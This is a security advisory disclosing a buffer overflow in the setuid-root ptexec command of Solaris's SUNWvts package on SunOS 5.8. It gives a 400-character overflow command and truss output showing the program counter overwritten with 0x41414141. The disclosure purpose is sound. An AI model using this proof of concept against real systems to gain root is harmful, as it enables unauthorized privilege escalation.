COMMAND
/opt/SUNWvts/bin/ptexec
SYSTEMS AFFECTED
SunOS 5.8 (not tested on other version)
PROBLEM
Pablo Sor found following. A problem with the ptexec command
included in the SUNWvts package (not included in the Solaris
default instalation) installed setuid root by default, results in
a buffer overflow and potentially the execution of arbitraty
code. Due to the insufficient handling of input by the -o option
of ptexec, a buffer overflow at 400 characters makes it possible
to overwrite memory space of the running process.
# uname -a
SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)
# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000
[.....]
sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed ***
SOLUTION
Sun Microsystems was notified on June 12, 2001. Patches are
excepted shortly.